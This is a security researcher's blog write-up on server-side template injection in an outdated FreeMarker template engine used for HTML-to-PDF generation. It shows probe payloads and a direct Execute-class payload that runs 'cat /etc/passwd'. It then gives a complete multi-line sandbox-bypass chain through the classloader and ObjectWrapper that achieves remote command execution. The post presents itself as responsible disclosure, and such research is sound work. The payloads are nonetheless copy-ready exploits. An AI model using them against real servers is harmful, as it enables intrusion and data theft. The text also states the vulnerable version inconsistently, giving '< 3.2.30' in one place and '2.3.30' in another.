Breaking the Barrier: Remote Code Execution via SSTI in FreeMarker Template Engine

Armaan Pathan
6 min readJul 6, 2023

--

In 2023, I discovered a significant vulnerability in an application that was using outdated version of the FreeMarker template engine. The version was vulnerable to Server-Side Template Injection (SSTI). This vulnerability allowed me to achieve Remote Code Execution (RCE). Upon reporting the issue, the company took immediate action by implementing a sandboxing mechanism to mitigate the risk of SSTI attacks. However, as the company was still utilizing FreeMarker version < 3.2.30, a known exploit existed that allowed bypassing the implemented sandbox. This narrative delves into the details of this discovery, highlighting the findings and showcasing the steps taken to bypass the sandboxing mechanism.

FreeMarker, a widely adopted template engine, is predominantly employed in Java-based applications to segregate the presentation logic from the business logic. It provides developers with the capability to create templates that combine static content with dynamic elements or placeholders. These templates can be filled with data from diverse sources, including Java objects or database queries, resulting in the generation of dynamic output.

The process of using FreeMarker for HTML-to-PDF conversion follows a structured flow:

HTML Structure Definition: Define the desired HTML structure within a FreeMarker template file. This includes specifying the content, formatting, and styles that the resulting PDF document should contain.

FreeMarker Directives: Utilize FreeMarker directives to populate the HTML template with data dynamically. This involves iterating over collections, conditionally rendering content, and accessing variables. Freemarker directives are denoted by the <# symbol followed by the directive name.

Directive Blocks: Within the FreeMarker directives, you can define blocks of code that are conditionally executed or iterated over. These blocks provide flexibility to control the flow of data and content generation.

HTML Rendering: Render the FreeMarker template by merging it with the provided data. The merging process populates the template with dynamic values, creating the final HTML output based on the specified logic and directives.

HTML-to-PDF Conversion: Once the HTML output is generated, employ a suitable HTML-to-PDF conversion tool or library that offers APIs or utilities for transforming the HTML into a PDF document. These tools handle the conversion process, ensuring the integrity of the HTML layout and content in the resulting PDF.

By following this flow, users can effectively leverage the power of FreeMarker to generate dynamic HTML content and seamlessly convert it into a PDF format, enabling the creation of PDF files using HTML content.

During the testing phase of the application, I observed the usage of tags such as <#if>, <#list>, </#list>, and </#else>. These tags provided hints about the underlying technology used by the application. Upon further investigation, I discovered that the application was using FreeMarker template engine.

I conducted some tests to assess its behaviour of the template engine. I used the following code snippets to evaluate if the engine properly escapes special characters, allows variable declarations, and performs basic arithmetic.

<#assign test = .version>
TEST FOR SSTI: ${3*3}

These tests aimed to verify whether the engine handled special characters correctly, permitted the assignment of variables, and accurately computed arithmetic expressions.

Now, we need to confirm the version of the engine being used. I have used the below-mentioned code snipped to identify the version.

<#assign freemarkerVersion = .version>
FreeMarker version: ${freemarkerVersion}

As you can observe, the engine version is lower than 2.3.30, which makes it vulnerable to SSTI (Server Side Template Injection) (CVE-2021–25770).

The class freemarker.template.utility.Execute in the freemarker.template.utility package provides FreeMarker with the capability to execute external commands. By utilizing this class, you can run commands from within FreeMarker templates.

To create the crafted payload, you can construct it in the following manner:

${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

This will execute the command and display the contents of the /etc/passwd file.

Following the reporting of this issue, they have introduced a sandbox environment in the template engine as a preventive measure.

In FreeMarker, a sandbox is a security feature restricting the capabilities and operations performed within the template engine. It provides a controlled environment where certain potentially risky operations are disabled or limited to ensure the safety and integrity of the system. By utilizing a sandbox in FreeMarker, developers can mitigate the risks associated with executing untrusted or potentially harmful code within templates. It offers an added layer of security to prevent unauthorized access, code injection, and other vulnerabilities.

When attempting to inject ${“freemarker.template.utility.Execute”?new()(“cat /etc/passwd”)}, an error occurred, resulting in a stack trace being thrown.

To verify the behaviour of escaping special characters, variable assignment, and accurate computation of arithmetic expressions, I executed the code provided below:

<#assign test = .version>
TEST FOR SSTI: ${10*10}

I have noticed that it is not escaping any special characters and doing multiplications.

By running this code, the FreeMarker version is printed, providing information about the specific version of FreeMarker being used in the application.

<#assign freemarkerVersion = .version>
FreeMarker version: ${freemarkerVersion}

After verifying that they are utilizing the same version of FreeMarker, it has been determined that if the version is less than 2.3.30, it can be bypassed. Consequently, we will proceed to construct a payload to bypass the sandbox.

To start, we will assign the value of article.class.protectionDomain.classLoader to the variable classloader. This will allow us to access the class loader associated with the protection domain of the article object.

<#assign classloader=article.class.protectionDomain.classLoader>

Now, we will use the loadClass method of the classloader object to load the class freemarker.template.ObjectWrapper. This allows us to access the methods and properties of the ObjectWrapper class, which are used for various operations and retrieving information associated with object wrapping in the Freemarker template engine.

By loading the ObjectWrapper class, we can interact with its functionality and leverage its features within our code. This includes handling object wrapping, manipulation, and rendering in the context of Freemarker templates.

<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

The expression owc.getField(“DEFAULT_WRAPPER”) is used to retrieve the Field object that represents the field named “DEFAULT_WRAPPER” in the ObjectWrapper class. The getField method is utilized to fetch the field based on its name.

Following that, .get(null) is called on the Field object to obtain the value of the field. Since the field is static and does not require an instance, null is passed as the argument.

<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

This line is responsible for assigning the value obtained from classloader.loadClass(“freemarker.template.utility.Execute”) to the variable “ec”.

Here’s what happens in theory:
- The loadClass method of the classloader object is invoked, attempting to load the class named “freemarker.template.utility.Execute”.
- The returned class object is then assigned to the variable ec.
- The Execute class is a utility class within Freemarker that likely provides specific functionality or utilities for executing certain operations within the template engine.

In summary, this line loads the Execute utility class using reflection through the loadClass method and assigns it to the variable ec. This allows for potentially using the Execute class’s features or methods in the subsequent code.

${dwf.newInstance(ec,null)("cat /etc/passwd")}

This line is responsible for creating a new instance of the dwf object, which is likely the DEFAULT_WRAPPER.

The newInstance a method is called on the dwf object, triggering the creation of a fresh instance. The ec object is passed as the constructor argument when creating the new instance. The resulting instance is immediately invoked as a method with the argument. “cat /etc/passwd”.

The final payload will look like this

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cat /etc/passwd")}

It will bypass the sandbox and execute the command.

Thanks Bhavuk Jain for proof reading. I hope you’ll like it.

--

--